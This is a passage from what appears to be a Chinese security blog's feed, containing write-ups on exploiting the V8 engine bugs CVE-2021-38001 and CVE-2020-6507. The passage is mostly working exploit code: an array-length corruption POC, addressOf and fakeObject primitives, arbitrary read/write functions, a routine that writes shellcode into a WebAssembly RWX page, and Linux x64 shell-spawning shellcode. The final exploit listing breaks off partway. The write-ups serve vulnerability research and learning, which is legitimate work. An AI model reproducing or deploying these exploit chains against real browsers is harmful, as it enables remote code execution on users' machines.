class="line">    <span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">    &#123;</span><br><span class="line"><span class="keyword">let</span> fake_array_addr = <span class="title function_">bigint_to_number</span>(<span class="title function_">addressOf</span>(fake_array));</span><br><span class="line"><span class="keyword">var</span> fake_object = <span class="title function_">fakeObject</span>(<span class="title class_">BigInt</span>(fake_array_addr)+<span class="number">0x4cn</span>+<span class="number">8n</span>);</span><br><span class="line">fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(<span class="number">0x200000000n</span>+addr+<span class="number">1n</span>-<span class="number">8n</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="title function_">ftoi</span>(fake_object[<span class="number">0</span>]);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> fake_array_addr = <span class="title function_">bigint_to_number</span>(<span class="title function_">addressOf</span>(fake_array));  </span><br><span class="line">        <span class="keyword">var</span> fake_object = <span class="title function_">fakeObject</span>(<span class="title class_">BigInt</span>(fake_array_addr)+<span class="number">0x4cn</span>+<span class="number">8n</span>);</span><br><span class="line">        fake_array[<span class="number">1</span>] = <span class="title function_">itof</span>(<span class="number">0x200000000n</span>+addr+<span class="number">1n</span>-<span class="number">8n</span>);</span><br><span class="line">fake_object[<span class="number">0</span>] = <span class="title function_">itof</span>(value);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">    &#123;</span><br><span class="line"><span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line"><span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line"><span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x1cn</span>;</span><br><span class="line"><span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">itof</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> wasmInstanceAddr = <span class="title function_">addressOf</span>(wasmInstance);</span><br><span class="line">    <span class="keyword">var</span> rwx_addr = <span class="title function_">AAR</span>(wasmInstanceAddr+<span class="number">0x60n</span>);</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    <span class="comment">//Linux x64</span></span><br><span class="line">    <span class="keyword">var</span> shellcode = [  </span><br><span class="line">      <span class="number">0x2fbb485299583b6an</span>,  </span><br><span class="line">      <span class="number">0x5368732f6e69622fn</span>,  </span><br><span class="line">      <span class="number">0x050f5e5457525f54n</span>  </span><br><span class="line">    ];</span><br><span class="line">    <span class="title function_">shellcode_write</span>(rwx_addr, shellcode);</span><br><span class="line">    <span class="title function_">f</span>();</span><br><span class="line">    %<span class="title class_">DebugPrint</span>(fake_array);</span><br><span class="line"></span><br><span class="line">    </span><br><span class="line">    %<span class="title class_">SystemBreak</span>();</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></div><h2 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h2><p>写完了exp，就该了解漏洞原理了。这个漏洞不像之前的CVE-2020-6507那样，不需要了解某些结构的内部机理就可以理解的七七八八。该漏洞涉及的V8内部原理较为复杂，参考文章<a class="link"   href="https://a1ex.online/2021/12/02/cve-2021-38001-%E5%88%86%E6%9E%90/" >https://a1ex.online/2021/12/02/cve-2021-38001-%E5%88%86%E6%9E%90/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/11/23/V8/V8%E5%88%A9%E7%94%A8(4)-CVE-2021-38001/</id>
    <link href="https://staticccccccc.github.io/2024/11/23/V8/V8%E5%88%A9%E7%94%A8(4)-CVE-2021-38001/"/>
    <published>2024-11-23T13:30:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="环境配置"><a href="#环境配置" class="headerlink" title="环境配置"></a>环境配置</h2><p><a class="link"   href="https://issues.chromium.org/issues/400]]>
    </summary>
    <title>V8利用(4)-CVE-2021-38001</title>
    <updated>2024-11-23T13:30:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="V8" scheme="https://staticccccccc.github.io/categories/V8/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>首先从chrome的<a class="link"   href="https://chromereleases.googleblog.com/" >官方更新公告<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>中搜索CVE-2020-6507，然后可以找到bug详细说明<a class="link"   href="https://bugs.chromium.org/p/chromium/issues/detail?id=1086890" >1086890 - Security: Missing array size check in NewFixedArray - chromium<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p>漏洞影响版本：受影响的Chrome最高版本为：<code>83.0.4103.97</code><br>受影响的V8最高版本为：<code>8.3.110.9</code></p><p>编译之前的版本即可</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./build.sh 8.3.110.9</span><br></pre></td></tr></table></figure></div><blockquote><p>关于如何找到chrome对应版本的V8版本：<a class="link"   href="https://chromiumdash.appspot.com/branches%EF%BC%8C%E7%9B%B4%E6%8E%A5%E5%9C%A8%E6%AD%A4%E5%A4%84%E6%9F%A5%E6%89%BE%E5%8D%B3%E5%8F%AF%E3%80%82chrome%E7%89%88%E6%9C%AC%E4%B8%80%E8%88%AC%E4%BC%9A%E7%9B%B4%E6%8E%A5%E5%9C%A8CVE%E6%88%96issue%E4%B8%AD%E6%A0%87%E5%87%BA%E3%80%82" >https://chromiumdash.appspot.com/branches，直接在此处查找即可。chrome版本一般会直接在CVE或issue中标出。<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p></blockquote><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br><span class="line"></span><br><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x2424242400000000n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">6</span>;</span><br><span class="line">  x -= <span class="number">5</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">30000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">corrupted_array = <span class="title function_">trigger</span>(giant_array)[<span class="number">1</span>];</span><br><span class="line"><span class="title function_">alert</span>(<span class="string">&#x27;corrupted array length: &#x27;</span> + corrupted_array.<span class="property">length</span>.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">corrupted_array[<span class="number">0x123456</span>];</span><br></pre></td></tr></table></figure></div><h2 id="漏洞测试"><a href="#漏洞测试" class="headerlink" title="漏洞测试"></a>漏洞测试</h2><p>将<code>alert</code>改成<code>console.log</code>，发现输出为</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">corrupted array length: 12121212</span><br></pre></td></tr></table></figure></div><p>那么该POC的功能就是修改<code>corrupted_array</code>的<code>length</code>成员。在修改后，即可越界读写。</p><p>但是由于修改length成员时同时也将<code>elements</code>成员置0了，此时再读取<code>corrupted_array</code>内的数据便是从内存段开始读。经过测试可以发现在同一内存布局中，对象的低32bit地址不变。因此可以修改测试代码为模板格式</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">5</span>,<span class="number">131</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">6</span>,<span class="number">129</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">7</span>,<span class="number">145</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">2</span>,<span class="number">6</span>,<span class="number">109</span>,<span class="number">101</span>,<span class="number">109</span>,<span class="number">111</span>,<span class="number">114</span>,<span class="number">121</span>,<span class="number">2</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">109</span>,<span class="number">97</span>,<span class="number">105</span>,<span class="number">110</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">10</span>,<span class="number">138</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">65</span>,<span class="number">42</span>,<span class="number">11</span>]);</span><br><span class="line"><span class="keyword">var</span> wasmModule = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Module</span>(wasmCode);</span><br><span class="line"><span class="keyword">var</span> wasmInstance = <span class="keyword">new</span> <span class="title class_">WebAssembly</span>.<span class="title class_">Instance</span>(wasmModule, &#123;&#125;);</span><br><span class="line"><span class="keyword">var</span> f = wasmInstance.<span class="property">exports</span>.<span class="property">main</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> f64 = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="number">1</span>);</span><br><span class="line"><span class="keyword">var</span> bigUint64 = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"><span class="keyword">var</span> u32 = <span class="keyword">new</span> <span class="title class_">Uint32Array</span>(f64.<span class="property">buffer</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> double_array = [<span class="number">2.1</span>];</span><br><span class="line"><span class="keyword">var</span> obj = &#123;<span class="string">&quot;a&quot;</span>:<span class="number">1</span>&#125;;</span><br><span class="line"><span class="keyword">var</span> obj_array = [obj];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">float_to_int</span>(<span class="params">f</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    f64[<span class="number">0</span>] = f;  </span><br><span class="line">    <span class="keyword">return</span> bigUint64[<span class="number">0</span>];  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">function</span> <span class="title function_">int_to_float</span>(<span class="params">i</span>)  </span><br><span class="line">&#123;  </span><br><span class="line">    bigUint64[<span class="number">0</span>] = i;  </span><br><span class="line">    <span class="keyword">return</span> f64[<span class="number">0</span>];  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">array = <span class="title class_">Array</span>(<span class="number">0x40000</span>).<span class="title function_">fill</span>(<span class="number">1.1</span>);</span><br><span class="line">args = <span class="title class_">Array</span>(<span class="number">0x100</span> - <span class="number">1</span>).<span class="title function_">fill</span>(array);</span><br><span class="line">args.<span class="title function_">push</span>(<span class="title class_">Array</span>(<span class="number">0x40000</span> - <span class="number">4</span>).<span class="title function_">fill</span>(<span class="number">2.2</span>));</span><br><span class="line">giant_array = <span class="title class_">Array</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">concat</span>.<span class="title function_">apply</span>([], args);</span><br><span class="line">giant_array.<span class="title function_">splice</span>(giant_array.<span class="property">length</span>, <span class="number">0</span>, <span class="number">3.3</span>, <span class="number">3.3</span>, <span class="number">3.3</span>);</span><br><span class="line"></span><br><span class="line">length_as_double =</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">Float64Array</span>(<span class="keyword">new</span> <span class="title class_">BigUint64Array</span>([<span class="number">0x2424242408901f95n</span>]).<span class="property">buffer</span>)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">trigger</span>(<span class="params">array</span>) &#123;</span><br><span class="line">  <span class="keyword">var</span> x = array.<span class="property">length</span>;</span><br><span class="line">  x -= <span class="number">67108861</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line">  x *= <span class="number">6</span>;</span><br><span class="line">  x -= <span class="number">5</span>;</span><br><span class="line">  x = <span class="title class_">Math</span>.<span class="title function_">max</span>(x, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">let</span> corrupting_array = [<span class="number">0.1</span>, <span class="number">0.1</span>];</span><br><span class="line">  <span class="keyword">let</span> corrupted_array = [<span class="number">0.1</span>];</span><br><span class="line"></span><br><span class="line">  corrupting_array[x] = length_as_double;</span><br><span class="line">  <span class="keyword">return</span> [corrupting_array, corrupted_array];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">60000</span>; ++i) &#123;</span><br><span class="line">  <span class="title function_">trigger</span>(giant_array);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">corrupted_array = <span class="title function_">trigger</span>(giant_array)[<span class="number">1</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;corrupted array length: &#x27;</span> + corrupted_array.<span class="property">length</span>.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">%<span class="title class_">DebugPrint</span>(double_array);</span><br><span class="line"><span class="keyword">var</span> x = corrupted_array[<span class="number">0</span>];</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;0x&quot;</span>+<span class="title function_">float_to_int</span>(x).<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br></pre></td></tr></table></figure></div><p>运行此代码，即可泄露出map地址。然后来进一步利用。</p><p>关于漏洞成因在文末介绍，接下来看看该如何编写exp以利用此漏洞。</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>如果修改代码，那么内存布局就会发生变化，因此在测试过程中，需要不断查看<code>double_array</code>对象地址，在修改<code>corrupted_array</code>的length的同时修改elements指针为<code>double_array</code>地址，即可做到map读写。同时由于<code>obj_array</code>在<code>double_array</code>对象后，也可以修改其map</p><h3 id="addressOf"><a href="#addressOf" class="headerlink" title="addressOf"></a>addressOf</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">addressOf</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    obj_array[<span class="number">0</span>] = target_var;</span><br><span class="line">    corrupted_array[<span class="number">4</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">let</span> target_var_address = <span class="title function_">float_to_int</span>(obj_array[<span class="number">0</span>]);</span><br><span class="line">    corrupted_array[<span class="number">4</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">return</span> target_var_address;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="fakeObject"><a href="#fakeObject" class="headerlink" title="fakeObject"></a>fakeObject</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fakeObject</span>(<span class="params">target_var</span>)</span><br><span class="line">&#123;</span><br><span class="line">    double_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(target_var);</span><br><span class="line">    corrupted_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(obj_array_map);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = double_array[<span class="number">0</span>];</span><br><span class="line">    corrupted_array[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(double_array_map);</span><br><span class="line">    <span class="keyword">return</span> fake_obj;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAR"><a href="#AAR" class="headerlink" title="AAR"></a>AAR</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> fake_array = [<span class="title function_">int_to_float</span>(double_array_map), <span class="title function_">int_to_float</span>(<span class="number">0x4141414141414141n</span>)]</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">AAR</span>(<span class="params">addr</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x34n</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">let</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_">float_to_int</span>(fake_obj[<span class="number">0</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="AAW"><a href="#AAW" class="headerlink" title="AAW"></a>AAW</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">AAW</span>(<span class="params">addr, value</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> fake_obj_addr = <span class="title function_">addressOf</span>(fake_array)+<span class="number">0x34n</span>;</span><br><span class="line">    fake_array[<span class="number">1</span>] = <span class="title function_">int_to_float</span>(addr-<span class="number">8n</span>+<span class="number">1n</span>);</span><br><span class="line">    <span class="keyword">var</span> fake_obj = <span class="title function_">fakeObject</span>(fake_obj_addr+<span class="number">8n</span>);</span><br><span class="line">    fake_obj[<span class="number">0</span>] = <span class="title function_">int_to_float</span>(value);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="write-shellcode"><a href="#write-shellcode" class="headerlink" title="write shellcode"></a>write shellcode</h3><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">shellcode_write</span>(<span class="params">addr,shellcode</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">var</span> data_buf = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(shellcode.<span class="property">length</span>*<span class="number">8</span>);</span><br><span class="line">    <span class="keyword">var</span> data_view = <span class="keyword">new</span> <span class="title class_">DataView</span>(data_buf);</span><br><span class="line">    <span class="keyword">var</span> buf_backing_store_addr=<span class="title function_">addressOf</span>(data_buf)+<span class="number">0x14n</span>;</span><br><span class="line">    <span class="title function_">AAW</span>(buf_backing_store_addr,addr);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> i=<span class="number">0</span>;i&lt;shellcode.<span class="property">length</span>;++i)</span><br><span class="line">        data_view.<span class="title function_">setFloat64</span>(i*<span class="number">8</span>,<span class="title function_">int_to_float</span>(shellcode[i]),<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="最终exp"><a href="#最终exp" class="headerlink" title="最终exp"></a>最终exp</h3><p>该exp仅支持在本机环境中运行，因为不同的环境会导致地址不同，以及偏移不同。且运行起来非常不稳定。</p><p>（事实上编写该exp直接按照模板就行，不过由于地址会不断变化，每次修改代码都需要重新修改<code>corrupted_array</code>的被覆盖elements成员值，甚至<code>fake_array</code>的<code>elements</code>成员偏移也会变化）</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//test.js</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wasmCode = <span class="keyword">new</span> <span class="title class_">Uint8Array</span>([<span class="number">0</span>,<span class="number">97</span>,<span class="number">115</span>,<span class="number">109</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">133</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">96</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">127</span>,<span class="number">3</span>,<span class="number">130</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">4</span>,<span class="number">132</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">128</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">112</span>,<span 